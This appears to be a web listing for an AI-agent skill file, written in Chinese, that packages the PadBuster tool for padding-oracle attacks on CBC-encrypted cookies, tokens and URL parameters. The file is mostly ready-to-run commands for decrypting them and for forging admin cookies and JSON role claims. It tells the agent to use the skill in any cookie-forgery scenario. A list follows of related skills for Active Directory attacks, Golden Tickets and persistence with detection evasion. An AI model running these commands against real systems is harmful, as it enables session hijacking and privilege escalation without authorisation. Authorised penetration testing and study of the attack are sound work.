padbuster-padding-oracle

$npx mdskill add wgpsec/AboutSecurity/padbuster-padding-oracle

Automatically decrypt CBC ciphertext and forge arbitrary plaintext.

  • Enables decryption of encrypted cookies, tokens, and URL parameters.
  • Depends on PadBuster tool for CBC mode oracle exploitation.
  • Executes by analyzing padding error responses to reconstruct data.
  • Outputs forged ciphertext or recovered plaintext directly to the agent.

SKILL.md

.github/skills/padbuster-padding-oracleView on GitHub ↗
---
name: padbuster-padding-oracle
description: "使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能"
metadata:
  tags: "padbuster,padding oracle,CBC,加密,解密,Cookie伪造,AES,DES,密文,token"
  category: "tool"
---

# PadBuster Padding Oracle 攻击方法论

PadBuster 是 Padding Oracle 攻击的自动化工具。核心能力:**自动解密 CBC 密文** + **伪造任意明文的合法密文** + **支持多种编码**。

项目地址:https://github.com/AonCyberLabs/PadBuster

## 漏洞原理

Padding Oracle 漏洞出现在使用 CBC 模式块加密(AES-CBC/DES-CBC)的应用中,当应用对 padding 错误和其他错误返回不同响应时,攻击者可逐字节还原明文或构造任意密文。

## Phase 1: 解密模式

```bash
# 解密 URL 参数中的密文(Base64 编码,AES-128)
padbuster "http://target/api?token=ENCRYPTED_VALUE" "ENCRYPTED_VALUE" 16 -encoding 0

# 解密 Cookie 中的密文
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "auth=BASE64_CIPHER" -encoding 0

# Hex 编码的密文
padbuster "http://target/page?data=HEX_CIPHER" "HEX_CIPHER" 16 -encoding 1

# DES-CBC(块大小 8)
padbuster "http://target/page?token=ENC" "ENC" 8 -encoding 0
```

## Phase 2: 加密模式(伪造密文)

```bash
# 伪造 Cookie 值(最危险的利用方式)
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "auth=BASE64_CIPHER" -encoding 0 \
  -plaintext "admin"

# 伪造 JSON 内容
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "session=BASE64_CIPHER" -encoding 0 \
  -plaintext '{"role":"admin","uid":1}'
```

## Phase 3: 高级选项

```bash
# 自定义错误识别(当服务器不用 HTTP 状态码区分时)
padbuster "http://target/decrypt?data=ENC" "ENC" 16 \
  -encoding 0 -error "Invalid padding"

# URL 前缀(密文在 URL 路径中)
padbuster "http://target/api/ENCRYPTED/action" "ENCRYPTED" 16 \
  -encoding 0 -prefix "http://target/api/"

# 密文不含 IV
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -noiv

# 详细输出
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -veryverbose

# 恢复中断的攻击(已知 intermediate 值)
padbuster "http://target/?data=ENC" "ENC" 16 \
  -encoding 0 -intermediate "KNOWN_INTERMEDIATE_HEX"
```

## 编码对照表

| 编码值 | 格式 | 说明 |
|--------|------|------|
| 0 | Base64 | 最常见 |
| 1 | hex (小写) | a-f 格式 |
| 2 | .NET URL token | ASP.NET 特有 |
| 3 | WebSafe Base64 | URL 安全的 Base64 |
| 4 | hex (大写) | A-F 格式 |

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|